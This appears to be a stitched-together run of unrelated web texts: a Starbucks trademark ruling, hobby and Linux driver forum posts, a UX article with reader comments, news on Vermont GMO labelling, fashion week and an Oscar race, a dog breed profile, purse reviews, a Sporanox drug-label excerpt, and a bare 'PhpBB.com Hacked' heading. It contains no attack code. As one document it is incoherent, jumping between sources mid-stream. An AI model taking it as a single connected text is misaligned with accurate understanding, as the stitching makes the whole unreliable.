Starbucks loses 'Charbucks' appeal against NH coffee roaster
The 2nd U.S. Circuit Court of Appeals said Black Bear Micro Roastery in Tuftonboro may keep selling "Charbucks Blend," "Mister Charbucks" and "Mr. Charbucks" coffee.
Circuit Judge Raymond Lohier wrote that Seattle-based Starbucks did not deserve an injunction to stop Charbucks sales, having failed to prove that consumers would be confused by brand blurring.
A centerpiece of Starbucks' case had been a phone survey of 600 people by the pollster Warren Mitofsky, which found that "the number one association of the name 'Charbucks' in the minds of consumers is with the brand 'Starbucks.'"
It said that while 39.5 percent of participants thought of "Starbucks" or "coffee" when asked what came to mind upon hearing "Charbucks," just 4.4 percent said "Starbucks" or "coffee house" when asked who might sell a "Charbucks" product. "Grocery store" was the most popular answer to that question.
The 2nd Circuit noted that one reason Black Bear used "Charbucks" was the public perception that Starbucks uses an unusually dark roast for its coffee.

I haven't had any sucess reaching Jason @ Model Brass either by phone or emails. Perhaps, some of you can reach out and help me.
I'd like to order his brass upgrades but have some questions before doing that:
1) Is it really worth it this upgrade, will it really improve the appearance of the model?
2) I have a problem with, how do you install the upgrades of the flood vents (limber holes, grates) right underneath the bow and stern by the skeg.
It looks like you need to cut out the plastic section so it can be replaced with the brass one? The filling the gaps around it with bondo, etc?
How did you guys accomplish this ?
Thanks in advance.

Stories from people who were children during World War II and the objects in this exhibit animate the past and inform us of a time when war took over daily life. "Retrospect is a very interesting thing," says Ruthie Kallnder. "At the time I don't recall any of the information we got as being propaganda," but the government tried to influence children to make "necessary" sacrifices. Propagandists made the war a battle between good and evil, democracy and fascism. They also asked children to share in the war effort. In response, many children took on more responsibilities. Ruthie explains that boys and girls felt "if that's what it was going to take" to win they "were willing to do it." The memories of the people in this exhibit and their wartime actions show the power of propaganda's messages and its lasting affect on their lives. Propaganda posters, children's books, and classroom assignments demonstrate how propagandists reached children and involved them in the national war effort.

4 Strategies for Working With Designers Without Killing Each Other
Fourteen years ago, in my first job where my title was "Information Architect," I clashed with a designer. We were working at a large advertising agency that was known for stunning design work. The art directors wielded a level of power at the agency that I have never seen anywhere else, and the result over the decades was a portfolio of gorgeous print and TV ads. The design-first method had worked well for this agency, winning them awards and a long roster of Fortune 500 clients, so they naturally decided to use this approach in their newly launched web department, too.
Things went well for a while, until I attended a kickoff meeting for a new website project. The designer came to the meeting with an already completed graphic design, before any information had been provided about who the site was for or what it would do. This designer had been at the company longer than me, and she had been happily designing sites without an information architect for several months. As far as she was concerned, this was a process that worked well for her, and why shouldn't it? She had complete control of the site, her designs looked lovely, and they were not in any way influenced by user needs, site goals, or reality.
What followed was a long, drawn-out battle for control of the site between me and the designer. This battle usually sounded something like this, played out again and again:
Me: And when you click on this button where does it take you?
Designer: I haven't worked that out yet, but it'll be fine.
At the time, I thought I had encountered a particularly obstinate designer, but in fact I had just bulldozed my way into the biggest challenge in information architecture (IA): navigating the line between beautiful design and usable IA. Because this was early in the web world, the agency had yet to learn about this balance between usability and design, and I hadn't either. And in the intervening years, things haven't changed much. Designers still want to make things beautiful, UXers still want to make things usable, and those two goals are frequently at odds. What has changed for me, though, is the approach I now take to working with designers.
1. Get the Right Designer on the Project
We don't always have the luxury of selecting the designer who will bring our wireframes and prototypes to life, but on occasion this happens. All UXers should have a roster of designers who are UX-friendly who they can call when the opportunity arises. More and more frequently, I have clients who either ask us to handle design or ask for designer referrals. When this happens I always feel like I've won the lottery. I have a collection of designers I've met over the years who are great at working with highly functional sites; if you have the opportunity to influence the designer selection, you need to be ready to jump in with names and portfolios.
2. Don't Just Throw Wireframes over the Fence
Last year, I worked on an unusual project where the timeframe was so compressed that there was no time for wireframes. Instead I spent many, many hours each day on the phone with the designer discussing the interface, working out where each element should go and exactly how it should function. While I wouldn't recommend this process as a rule, the end result was a beautiful working relationship and an interface that we were both thrilled with.
Many agencies are structured such that designers are just handed a stack of wireframes and told to execute on them. The end result tends to be either a site that looks like a very pretty version of the wireframes, or one that is only very loosely based on the UX design. To strike the right balance that prevents designers from either taking an overly literal interpretation of wireframes or from developing their own new interaction models, designers need to be involved early and often. As soon as you've got a few wireframes done, pull your designer in to start mocking up a visual design so you can work together through anything that needs to be rethought.
3. Give Designers Space to Do Their Thing
People go into design because they want to express their creativity, to play with shapes and color, and to have fun doing it. In some ways, information architects just come in and rain on designers' parades by imposing structure and preferring the obvious over the unique. But there are designers out there—more and more all the time—who look forward to working with information architects because working off of wireframes makes their jobs easier. These designers still want to play and have fun, and (in the right place and time) new and interesting designs and interactions can make people happy, so it's a good idea to include a design-centric section on sites that warrant it, where the information architecture takes a back seat to the design. This works for areas of a site that needs to provide a visceral feel for a brand, or portfolio sections of sites that need to showcase work or case studies. If you respect the designers' need to create something beautiful, they are more likely to respect your need to create something usable.
4. Don't Discount the Importance of Design
It's important to remember, as Don Norman has famously said and Dana Chisnell recently reiterated, that beautiful design makes people happy. Good UX design is the backbone of good visual design, and one cannot exist without the other. Back when I was engaging the designer at my first IA job in thermonuclear warfare, I did it because I only barely registered design as something that mattered to the user experience. But the joy inherent in beautiful design is important as well, so sometimes when a designer overrides your UX design on aesthetic grounds, the designer is right. UXers need to weigh the pros and cons of all design decisions very carefully in order to determine where visual design should triumph over UX design, and vice versa.
There are still struggles, of course, and there are projects where designers want to go one direction and the UX team wants to go another. But I do seem to encounter fewer and fewer all-out wars between design and UX teams. When designers and UXers work well together, the ultimate winners are the users, who get a product that is not only easy to use but lovely to interact with.

"It's frustrating that so many people refer to visual designers and art directors as "designers" and interaction designers are IAs, UXAs, UX strategists, etc."
Seconded. Especially as an ex-product designer who thinks really good designers should be able to do both. (The new generation of graduates can, so I'm hoping these kind of issues will be a thing of the past soon.)
I gave been involved in building websites for over a decade now both doing UX and design and I have to say that this battle is usually touched off by poor communication and teamwork. The very statement "Designers still want to make things beautiful, UXers still want to make things usable, and those two goals are frequently at odds." is usually false.
I have found over the years the UX people think they know everything about interaction because they went to school and learned from books. The best UX people I know are those that work in the real world testing sites and looking at real design patterns not book patterns. A well done site needs equal parts of UX and Design to truly engage a customer. Thinking one or the other is more important is extremely stupid and will lead to a site that isn't used.
Visual design should enhance the UX work done and make the site more usable. I don't disagree with fact that the designer UX conversation above happened as I have heard it myself. But when you make statements like "People go into design because they want to express their creativity, to play with shapes and color, and to have fun doing it" you are belittling an entire profession and this is why you fail with designers. If that was what they wanted to do they would have become starving artists and just done Lite Brite installations or something.
People like you, that foster this mentality, are the ones that cause all of the usability issues. By people like you I mean, designer or UXer alike, that foster division by belittling what the other side does is why so many projects fail.
I thought UXers were supposed to think through things before completing work but clearly you have not.
It's frustrating that so many people refer to visual designers and art directors as "designers" and interaction designers are IAs, UXAs, UX strategists, etc. If you don't consider yourself a designer, you shouldn't be designing systems.
Also, having UX and art direction on separate teams is a (nearly ubiquitous) bad idea.
"People go into design because they want to express their creativity, to play with shapes and color, and to have fun doing it. "
"These designers still want to play and have fun, and (in the right place and time) new and interesting designs and interactions can make people happy, so it's a good idea to include a design-centric section on sites that warrant it..."
"If you respect the designers' need to create something beautiful, they are more likely to respect your need to create something usable."
As a UI designer I find your comments condescending, highly inaccurate and bordering on offensive. As a UX designer, I can tell you that you are missing opportunities to improve the effectiveness of your work if you subscribe to the tired and demonstratively false notion that a visual design professional contributes nothing more than pretty pictures - for his or her own enjoyment at that.
Successful Design/UX teams are born out of mutual respect and understanding of each others roles. That might be a better starting point for your article on working together.
"People go into design because they want to express their creativity, to play with shapes and color, and to have fun doing it."
Is that really what you think that designers do? The issue is that you don't understand the role of design. Graphic Design is visual communication; it gives form to ideas and messages. Designers create design systems using typography, hierarchy, and grids to make content accessible. And yes, if the project goals require it, they make things pretty.
A designer should dictate that layout of the page and the placement of elements. Most IA/UX designers don't have the experience or skill to balance all the elements of a design to create a meaningful layout. You cannot judge whether a layout is effective in the wireframe stage because you haven't added the layers of brand messaging, color, contrast, etc. So a designer needs the flexibility of being able to alter the layout of a wireframe. Any good designer will take a wireframe and make the layout even more usable.
The other factor that you allude to is that sometimes design/branding should drive the design. Not everyone works at a UX consultancy creating software, many IAs and Designers work at brand agencies where doing the obvious isn't the objective.
IA/UX designers should read about the history of graphic design particularly about the International Typographic Style. Step outside your world and realize that there are other things that an effective website needs.
"People go into design because they want to express their creativity"... I don't think that's accurate, a good and professional designer does not design for themselves, but for the client's needs and goals, the audience's needs and goals, the goals of the project, etc. Visual design is deeply rooted in goals--you design for a purpose, there is a desired outcome. Designers don't design based upon air or their own whims, they are designing with specific goals in mind and usefulness is one of them. I think the problem at your agency was the leadership.
"People go into design because they want to express their creativity"... Perhaps is one of the core issues in the IA/Designer relationship. Design should not be used as a way to express the designer's views, creativity, opinions, etc. Design should visually communicate something else. That something else is what a good IA/UX person needs to help identify.
Good article. We need to explore this topic a lot more.

It is so great that the building blocks are beginning to pop in main stream.
Phoronix: Mesa 7.5 Finally Released w/ New Features
After being in development for a number of months and being challenged by a few delays, Mesa 7.5 was officially released last night. What's most significant about this milestone is that it's the first release to include the Gallium3D architecture...
It is so great that the building blocks are beginning to pop in main stream.
My RS690M is R500 based. I always hear about R600 and R700 driver development.
Did you read about radeon-rewrite and the KMS/GEM/TTM work ? That was all for r1xx-r5xx. We actually had to *delay* 6xx-7xx 3d work to bring it in line with the radeon-rewrite changes made for earlier GPUs.
Most of the interesting open source 3D work right now is happening on 3xx-5xx parts; 6xx-7xx just happens to be in the news this week because it hit an interesting milestone. The first Gallium3D work for radeon GPUs is being done on 3xx-5xx (go Corbin !) and most of the big changes in the 3D stack (eg moving to a GEM/TTM kernel memory manager, which in turn makes it possible to add higher levels of GL support) are happening first on 3xx-5xx.
BTW your 690 is actually more like 6xx display blocks combined with 4xx acceleration blocks (minus the vertex shaders). That's typical for the IGP market, which usually requires the best display capabilities we can provide at any given time but isn't so picky about acceleration.

That wouldn't be in 7.5 AFAIK; you need to be looking at mesa master for the radeon-rewrite code (radeon-rewrite is where the work was done to let a single code base run over both pre-KMS/MM and KMS/MM systems). That's what will show up in 7.6.
There does seem to have been some recent work related to AGP issues, so might be worth another try. I imagine you would want both latest mesa and latest kernel code.
Do you mean PCI mode rather than PCIE ?
Maybe I'm just too paranoid that someone could call the R500 obsolete before the driver is usable. I can only play tuxracer_v1 and foobillard with bad performance. Games like Ankh I + II and Jack Keane don't work.
Last edited by hobbes; 07-18-2009 at 12:27 PM. Reason: to add GPU reference.
For those with a Display Port, Red Hat is working on that for Fedora 12.
With KMS and 3D in the kernel, does that mean that KVM (Kernel based Virtual Machine) will be able to display accelerated 3D as well?
In this video Red Hat explains that they switched from Xen to KVM as "features that are in the kernel, will the guests get for free".
Does that also hold for KMS and 3D?

Engine Mounts at 1A Auto
What is an Engine Mount and where is it Located?
Engine mounts, also commonly referred to as motor mounts, along with transmission mounts are responsible for holding the car or truck's engine and transmission firmly in place to the frame of the vehicle at all times. They also serve to dampen vibration from the engine to increase the ride comfort. Location and quantity vary by vehicle, but you will typically find them attached to heavy duty supports, like the vehicle's frame or the radiator support.
Most motors mounts are usually made of metal and a rubber insert, save for a few fancy exceptions that incorporate a hydraulic fluid. The metal component of the motor mount attaches to the engine at one end and typically to the heavy duty support – such as the vehicle's frame - at the other, securing it in place even as you slam your foot on the accelerator. The piece of rubber is located in-between the conjoined metal parts and acts as a buffer, absorbing the vibrations that are given off by the engine when the vehicle is in operation so that it doesn't move and shake all over the place uncontrollably.
Engine Mount Failure
Engine mounts typically fail because the rubber section has separated from the metal sections. This can be due to excessive vibration from the engine, chemical contamination from under hood leaks, or drastic change in temperature. On vehicles that use hydraulic-filled mounts, loss of this fluid can cause the mount to collapse. When the mounts fail, the engine vibration will be noticeably greater visually and felt more in the cabin. This can begin to wear out or even seriously damage parts of the engine or other systems if it gets bad enough.
The stability that motor mounts provide for the car or truck's engine allows the vehicle to function properly. Without them to restrain the powerful engine, the resulting thrust from it would cause unmentionable havoc and damage to parts and connections as it shifted and bucked violently in its compartment like a wild bull. Therefore, properly working motor mounts are essential for your engine as just having one faulty mount can cause a lot of trouble for your vehicle. If you need a replacement motor mount for your vehicle, you should get one and install it as soon as possible.
Replacing a Motor Mount
Replacing motor mounts varies in difficulty. On upper mounts, removal typically requires basic tools and just requires unbolting to swap out. Lower mounts are a bit more complicated and can require an engine hoist. Since all of the engine weight is placed on them, the engine will need to be lifted and supported in order to safely remove and install.
Need a Motor Mount Replacement?
Motor mounts provide a stable and secure hold on your engine and minimize engine vibration and movement. When they wear out, your engine can shake violently and cause a lot of damage if it gets really bad. Therefore, if you need a motor mount replacement, you should obtain and install the part(s) you need as soon as possible.
If you are in need of a replacement engine mount, then you have come to the right place. Here at 1A Auto, we have a large selection of aftermarket motor mounts, including both front and rear, as well as upper and lower mounts, for many makes and models, and at great prices. Our aftermarket engine mounts are just what you need to keep your motor firm in place!
Shopping for a replacement engine mount for your car, truck, SUV or van is also incredibly easy at 1A Auto - we're here to help you select the right parts for your vehicle!

MONTPELIER With time ticking down in this years Vermont legislative session, its becoming clear that lawmakers wont pass a bill requiring labels on genetically modified food before wrapping up their work for 2013.
The House Judiciary Committee isnt expected to finish its work on the measure and send it to the full House for debate until next week. Friday afternoon, committee members were digging into the legal weeds, examining opinions from the Hawaii attorney general, an industry group and legislative lawyers in Oregon on how well such a measure might hold up in court.
With just a week or two left on the legislative calendar, supporters of the GMO labeling bill said their best hope was to get a positive vote in the House before adjournment and to ask the Senate to tackle the issue when lawmakers return for the second year of their biennium in January.
Sen. David Zuckerman, of Burlington, vice chairman of his chambers Agriculture Committee, said Friday that there was no chance his panel would be able to review the GMO labeling bill and bring it to the full Senate for debate before the end of the 2013 session.
Lawmakers are tentatively scheduled to finish their work by next Friday. There was widespread speculation that the session may extend into the following week if negotiations over several open bills drag on.
Andrea Stander, executive director of the farm advocacy group Rural Vermont, said that by January, the landscape may have changed significantly, with action on the issue in other states. Among those are Connecticut, where legislation is pending, and Washington state, which is set to vote on a referendum in November calling for labeling of food containing genetically modified components.
The Vermont bill would do that for most foods but would exempt animal products, including meat and dairy products. Thats despite the fact most Vermont dairy cows are fed corn from genetically modified seed, according to members of the House Agriculture Committee.
Among the concerns throughout the process is the likelihood that a Vermont law on GMO labeling could draw a lawsuit from the biotech industry. At issue would be whether the compelled speech of required labeling would violate the First Amendment.
Fears of a lawsuit are real for many lawmakers. Vermonts liberal Legislature in the past decade has passed progressive legislation on campaign finance reform, trying to close the states lone nuclear plant and restricting the collection by data mining companies of doctors habits in prescribing medications, only to see them struck down in federal courts, often at the cost to the state of millions of dollars.
Michael OGrady, an attorney with the General Assemblys Legislative Council legal research staff, told lawmakers Friday that the GMO bill appeared to be defensible in court, but he described the range of legal opinions from Hawaii and Oregon as indicating there were no guarantees.MORE IN Vermont NewsThree professors in the University of Vermont Extension program are losing their positions next...

Physical Characteristics
Breed Group: The German Shepherd Dog is a member of the Herding Group.
Weight: 77-85 lbs. (35-40 kg)
Height: 24-26 inches, males; 22-24 inches, females
Color(s): The coat is often black with tan, sable. All black, blue, liver and white are also common.
Coat: The German Shepherd Dog sports a double coat of medium length. The dense outer coat has straight hair close to the body.
Character: The rugged German Shepherd Dog is fearless and loyal. This breed is self-confident and alert. It has a cheerful disposition and is eager to learn.
Country of Origin: Germany
History: The German Shepherd Dog may have originated from long-haired, short-haired and wire-haired shepherd dogs. As a fairly recent breed, this working dog served as a herding and farm dog, and also as servant and companion. In 1899 a breed club developed. The German Shepherd Dog rose in population after 1914.
Name: Alsatian, Deutscher Schaferhund.
Temperament: The German Shepherd Dog is approachable and poised. It should not be excitable. This breed can be a fighter and a life-long friend.
Training: This breed with its high learning ability requires firm training early in life. A trainer with a loving hand needs to help the dog become socialized to reduce over-guarding. Problems such as poor breeding, training and handling can result in aggression and attacks. If well-trained, this breed will be a fine family member.
Activity: With a love of strenuous activity and challenges, the German Shepherd Dog has fulfilled many careers in history: sheepdog, guide for the blind, guard dog, police work, military and search and rescue. This task-oriented dog is great at tracking, ring sport and agility exercises.
Ownership: The German Shepherd Dog can be close to families. This breed is cautious around strangers. Never isolate this dog for long lengths of time. Seek a reputable breeder. While this dog is inactive indoors, it requires a large yard to remain active and happy. The Germany Shepherd Dog has a life span of 13 years.
No Breeders listed at this time.

NEW YORK (AP) — Remember clapping? As in when a fashion designer puts on his runway finale and then takes a bow before an adoring crowd.
The fashion hordes these days are way too busy tweeting, Instagramming and taking video with their smartphones to put those busy hands together. But more often than not, so are the fashion houses.
Technology has taken over in important ways for designers and was ready made for this New York Fashion Week as the huge storm had the elite teetering around Manhattan in blowing snow, clutching those phones.
Audiences had already been on the bandwagon, taking phone pics from their seats and posting reviews online before the models were off the runway, but designers are figuring out how to use all the instant feedback to their advantage.
Before the snow hit, information went out to retailers, editors, stylists and bloggers on how to view the Donna Karan and Helmut Lang shows online and through phone apps for those unable to attend in person.
Rachel Roy and Peter Som switched to entirely digital catwalk shows. Rebecca Minkoff and Kenneth Cole beamed live tweets on the walls, with Cole pledging donations to amFAR if a certain hashtag was used during the show.
Tommy Hilfiger collected curated interactions — and added some himself — that were shared with guests entering and exiting his menswear show. He planned to do the same Sunday for his women's collection.
Still clutching those phones, the crowds dealt Saturday — Day 3 of the eight days of fall previews — with the storm's mush of an aftermath in their dash around town and at the Mercedes-Benz Fashion Week tents at Lincoln Center.
The industry will shift to Milan, London and then Paris after the shows close here Feb. 14.
Military touches are shorthand in high fashion for strength and confidence. Gurung added some exclamation points, specifically citing as his muse a woman in combat.
There has been much in the news — and Gurung is a newshound — about the Pentagon's decision to open more on-the-ground options to women and also technological advances in women's body armor.
"They're redesigning the whole uniform for women because all this while they've been wearing men's uniform," he said backstage.
That led Gurung to think about women's empowerment, all the way to women he read about from the Ukraine who are coming together in self-defense against human trafficking.
There were smart jackets with gold hardware and some with red-and-black brocades, crisp navy suits, and leather harnesses over stretch-crepe dresses with sexy slashes on the bodice and asymmetric peplums and hemlines.
There had to be a little femininity mixed in with the aggressiveness, Gurung explained, because it's femininity that gives women their best tool "to rule a man's world."
It was that easy: Stuart woke up one day thinking about how stylish British model Stella Tennant and her friends were, so Stuart thought she would create a wardrobe just for them.
She aimed to dress an aristocratic fashion risk-taker for all those parties at castles in the English countryside.
"I was thinking about the beautiful dinners and the charades she and her friends play, and the great performances they see at the end of the night," Stuart said backstage.
Her offerings include a plum-colored halter dress covered in satin flowers, a more tailored dress in black wool with more sharply cut flowers, and a white sheer man-tailored shirt paired with black evening shorts and a full-cut long black coat.
Miller's collection was called "Menswear With a Twist: Raiding the Boyfriend's Closet."
It was the good girl meets bad boy, packing a wardrobe of tough leather jackets, pleated skirts and several fedoras for the adventure. No apologies to mom.
There were particularly short knit dresses and a skin-hugging corset dress in a print called "tatooage," which looked exactly as it sounds.
And there were outfits more in line with what's expected from Miller, including a long dress in a wallflower print with a ruffle front and a stretch-denim dress with sexy net inserts.
The black matte-jersey, floor-length dress, with a dropped leather waist and notched V neck, that closed the show was the right high note to leave on.
But where Miller saw "golf pants" on a pair of loose baggy trousers paired with a burned out velvet-and-georgette blouse, the audience might have seen glorified sweats.
Minkoff named her colors after planets and other spacey things.
A winter white was "Saturn" and used for a leather motocross jacket. The color caramel became "eclipse" for a leather duffel coat.
Minkoff put a twist on the colorblocking trend that has been around now a few seasons by mixing chunks of different textures instead of contrasting hues. That technique was also seen on the runways of Jason Wu and Nicole Miller.
Minkoff's soft-line exaggerated shoulder, instead of the aggressive ones that were so popular on the runways a few years ago (and in the 1980s), also turned up elsewhere.
The collection "embarks on a voyage to the future, marrying modern, spacesuit-like construction details and a new sophisticated grunge attitude," Minkoff wrote in her notes.

"Zero Dark Thirty," the best- reviewed film of 2012, has become an Oscar longshot because of a political backlash in Hollywood over its depiction of torture in the hunt for Osama Bin Laden.
Since early January, Kathryn Bigelow's critically praised movie has sunk to fifth from third among likely best-picture winners at GoldDerby.com, which ranks award prospects. Actors Ed Asner and David Clennon urged academy voters to snub the film. Author Naomi Wolf called Bigelow "torture's handmaiden" and compared her to Nazi propagandist Leni Riefenstahl.
The outcry from Washington and influential industry voices has made "Zero Dark Thirty" a tough vote for left-leaning Hollywood.
"The general political persuasion in Hollywood has more to do with it than any particular actors," said former Republican senator Fred Thompson, who's appeared in dozens of films and TV shows including "Law & Order." "If they perceive that this movie somehow adopts the Bush narrative, that could affect the movie."
Over eight days in December, "Zero Dark Thirty" was dubbed best picture by four groups, including the New York Film Critics Association, the National Board of Review and the Boston Film Critics Association.
Then Britain's Guardian published an article accusing Bigelow, the only woman to win an Oscar for directing, of justifying torture. On Dec. 19, Sen. Dianne Feinstein, D-Calif., joined by Sens. John McCain, R-Ariz., and Carl Levin, D-Mich., asked Sony Pictures to consider "correcting" the suggestion torture helped the CIA find bin Laden because it was inaccurate.
The senators also asked the CIA about what officials told the filmmakers about interrogation tactics used during the administration of President George W. Bush. Feinstein and Levin declined to comment. McCain didn't respond to requests.
Hollywood activists piled on. Asner, a former president of the Screen Actors Guild, told the New York Times he wanted to "condemn" the movie and said he and Martin Sheen planned to sign a letter by Clennon, who appeared in the TV series "thirtysomething," urging voters to choose another movie. Sheen later backed away, saying he opposed torture but didn't want to attack Bigelow's right to make the film her way. He and Asner didn't respond to requests for comment.
"Its hopes for best picture seem to be, well, zero," said Tom O'Neil, founder and editor of the GoldDerby.com. "The movie was unfairly blamed for showing us something we didn't want to see, which was our nation misbehaving."
Nominated for best picture, "Zero Dark Thirty" lost to "Argo," Ben Affleck's film about the rescue of U.S. embassy personnel from Iran three decades ago, at the Producers Guild, the Directors Guild and the Golden Globes. The film was winless at the British Academy of Film & Television Arts.
"People disengaged from 'Zero Dark Thirty' and embraced 'Argo,' said Sasha Stone, editor of Awards Daily, another website that tracks the Oscar race. '''Argo' doesn't really ask anything of you, it just delivers entertainment.''
Sony Pictures, based in Culver City, Calif., has put its marketing muscle behind the film with TV, radio and print ads touting five Oscar nominations, including best original screenplay for Mark Boal, best actress for Jessica Chastain, best editing and best sound editing. The movie was produced by Annapurna Pictures, run by Megan Ellison, daughter of the Oracle Corp. co-founder.
''We are doing everything we can to support what we believe is an extraordinary and important movie that will stand the test of time,'' Steve Elzer, a Sony spokesman, said in an interview. Studio Co-Chairman Amy Pascal defended the film in a statement, saying Bigelow would have been ''irresponsible and inaccurate'' to leave out torture scenes. A spokesman for Bigelow, who penned her own response in the L.A. Times, didn't respond to a request for comment. The film has garnered support beyond studio officials.
Former CIA director Leon Panetta has weighed in, saying in television interviews has said that harsh interrogation was useful. In a letter to the Senate, ''Lincoln'' screenwriter Tony Kushner, nominated for best adapted screenplay, Harvard Law professor Alan Dershowitz and 26 others compared the call for changes in the film to the McCarthy era. Kushner's film, directed by Steven Spielberg, is also a best-picture nominee.
On his blog, documentary maker Michael Moore called the film ''a disturbing, fantastically made movie. It will make you hate torture.''
The chasm may have destroyed the chance for Bigelow and writer-producer Boal to win a second best-picture Oscar. They won for the 2009 Iraq War drama ''The Hurt Locker,'' with Bigelow winning best director and ending an 80-year monopoly by men.
Bigelow and Boal have maintained their film neither supports nor condemns the interrogation methods used. The goal, the have said, was to depict events accurately and let viewers draw their own conclusions.
In the film, an al-Qaida operative in the custody of U.S. troops is subjected to waterboarding, isolation in a small, dark box, beatings and sleep deprivation. His tormenters ultimately trick him into giving up the name of bin Laden's courier, leaving open the question of whether torture led to the intelligence breakthrough.
Chastain, nominated for best actress, plays the relentless CIA agent Maya, based on an actual agent who worked on the hunt for bin Laden.
''I only hope that academy members consider the implications of presenting a homicidal torturer as a beautiful, innocent, persistent and courageous heroine,'' Clennon said. ''Then I hope they feel the freedom to vote their consciences, rather than limiting themselves to considerations of aesthetic merit, divorced from morality.''

We've seen a lot this year.From the Trent Richardson trade to the Kansas City Chiefs going 7-0, this is so far one of the most surprising years in recent memory.Among those surprises, are the teams who have fallen from NFL supremacy. Teams like the Giants, Texans and Steelers are far from where they're supposed to be. If they want to make it back to the top, they'll have to make some deals. Clearly the players they have aren't getting it done. That could mean moving some big names to get some new talent.It's going to happen, so you'd better prepare yourself.Here's a list of the top 10 stars who could be wearing a new color in 2014.

It looks like I will be there at this point and David Lin may be in attendance as well to provide extra coverage for Phoronix.
If you look at the event schedule for JavaOne and see a specific speech or session you would like covered, let me know. If you want coverage of anything else going on in San Francisco, just let me know.
Wow- that is great! Thanks for the updates to come.
Covering these types of conventions is a very cool thing. Thanks for covering this one and I hope more will come in the future.
I'm interested in how Java's new licence (GPL) will affect IBM's version of Java. When it comes to IBM products, for the most part I understand that IBM has their own version of Java that is included in their products. I don't know if this IBM version can still keep whatever license it currently has or not though. Will this topic be something that is covered at JavaOne in any way?
Something else I'm interested in hearing about from this conference is Sun's Darkstar project. I know there will be two different discussions (I think one is a lab and another is a talk)... any plans to make it to either of these?

I think they'll dump Mir into 14.04 in whatever state it is by then. I still remember the 11.04 release with that horrible wacky Unity version with black background, later some dev from Canonical acknowledged they just dumped their latest snapshot of Unity onto users and called it "stable" and subject for further improvement...it will be a miracle if Mir is ready for all form factors in a production environment by Ubuntu 14.04 LTS next year.
So 14.04 won't be LTS, but rather TSR (the shitty release), and 16.04 should be good enough, that is true LTS.

Nautical Purse
Love the stripes - wish it had more pockets, but it's a great purse to shop in...
April 3, 2013
Looks black and white
I love anything with navy and white stripes and was so excited to get this in the mail! But, when I saw it in person, the navy was so dark it basically looked black. It was almost dull looking, rather than a vibrant, fun purse for summer. Sadly, I returned it.

Poorly made & fell apart
The moment I saw this crossbody, I fell in love with it. It is rather small, but I made it work. I also was not a fan of the snap buttons. At times, it was hard to close.
After about 10 uses, the purse fell apart. I had to return it. The Limited manager requested that I write a review. I wish I can post a picture of the defect, but this site doesn't give that option. The silver snap button where the stripes meet the white inside the bag came apart and created a big hole. There was no way of fixing it, thus the bag became defective.
Cute, but would not recommend! =(

nice but wish there was a cellphone pocket
I got this purse in white. I think it is a cute purse for summer. There is only one zippered pocket. I wish there was one designated for a cell phone.

Steve McCurry – In the Flow of Time. Photographs from Asia 1980-2011
View photo details
January 16, 2013
by Steve McCurry
View profile
The Kunstmuseum Wolfsburg presents a comprehensive survey of the explosively colorful oeuvre of the American photographer Steve McCurry in a museum setting in Germany.
Steve McCurry attained worldwide fame when he managed to cross the border from Pakistan into Afghanistan at the time of the 1979 Soviet invasion. He took the first photographs from this war-torn region, which were published in the New York Times, Time Magazine and Geo. The now iconic image of the Afghan girl Sharbat Gula taken in a refugee camp appeared on the cover of National Geographic in 1985. McCurry has been a member of Magnum Photos since 1986, the famed agency founded among others by Henri Cartier-Bresson and Robert Capa in 1947.
McCurry's close ties to Asia have unbroken since his first trips to India and Afghanistan towards the end of 1970s. For him, the fundamental difference between Asian and Western culture rests in the publicness of life and the merger of profane and religious life there. The exhibition complies with this focus and shows his world-famous images from the past three decades taken in countries such as Afghanistan, India, Kashmir, Burma, Tibet, Cambodia, Kuwait, China, Bangladesh and Nepal.

Congestive Heart Failure:
SPORANOX ® (itraconazole) Capsules should not be administered for the treatment of onychomycosis in patients with evidence of ventricular dysfunction such as congestive heart failure (CHF) or a history of CHF. If signs or symptoms of congestive heart failure occur during administration of SPORANOX® Capsules, discontinue administration. When itraconazole was administered intravenously to dogs and healthy human volunteers, negative inotropic effects were seen. (See CLINICAL PHARMACOLOGY: Special Populations, CONTRAINDICATIONS, WARNINGS, PRECAUTIONS: DRUG INTERACTIONS and ADVERSE REACTIONS: Post-marketing Experience for more information.)
Drug Interactions: Coadministration of cisapride, pimozide, quinidine, dofetilide, or levacetylmethadol (levomethadyl) with SPORANOX® (itraconazole) Capsules, Injection or Oral Solution is contraindicated SPORANOX® (itraconazole capsules) , a potent cytochrome P450 3A4 isoenzyme system (CYP3A4) inhibitor, may increase plasma concentrations of drugs metabolized by this pathway. Serious cardiovascular events, including QT prolongation, torsades de pointes, ventricular tachycardia, cardiac arrest, and/or sudden death have occurred in patients using cisapride, pimozide, levacetylmethadol (levomethadyl), or quinidine, concomitantly with SPORANOX® and/or other CYP3A4 inhibitors. See CONTRAINDICATIONS, WARNINGS, and PRECAUTIONS: DRUG INTERACTIONS for more information.
SPORANOX® is the brand name for itraconazole, a synthetic triazole antifungal agent. Itraconazole is a 1:1:1:1 racemic mixture of four diastereomers (two enantiomeric pairs), each possessing three chiral centers. It may be represented by the following structural formula and nomenclature:
(±)-1-[(R*)-sec-butyl]-4-[p-[4-[p-[[(2R*,4S*)-2-(2,4-dichlorophenyl)-2-(1H-1,2,4-triazol-1ylmethyl)-1,3-dioxolan-4-yl]methoxy]phenyl]-1-piperazinyl]phenyl]-Δ2-1,2,4-triazolin-5-one mixture with (±)-1-[(R*)-sec-butyl]-4-[p-[4-[p-[[(2S*,4R*)-2-(2,4-dichlorophenyl)-2-(1H1,2,4-triazol-1-ylmethyl)-1,3-dioxolan-4-yl]methoxy]phenyl]-1-piperazinyl]phenyl]-Δ2-1,2,4triazolin-5-one
Itraconazole has a molecular formula of C35H38Cl2N8O4 and a molecular weight of 705.64. It is a white to slightly yellowish powder. It is insoluble in water, very slightly soluble in alcohols, and freely soluble in dichloromethane. It has a pKa of 3.70 (based on extrapolation of values obtained from methanolic solutions) and a log (n-octanol/water) partition coefficient of 5.66 at pH 8.1.
SPORANOX® Capsules contain 100 mg of itraconazole coated on sugar spheres. Inactive ingredients are hard gelatin capsule, hypromellose, polyethylene glycol (PEG) 20,000, starch, sucrose, titanium dioxide, FD&C Blue No. 1, FD&C Blue No. 2, D&C Red No. 22 and D&C Red No. 28.

PhpBB.com Hacked
Posted by:
Date: January 31, 2009 10:36PM
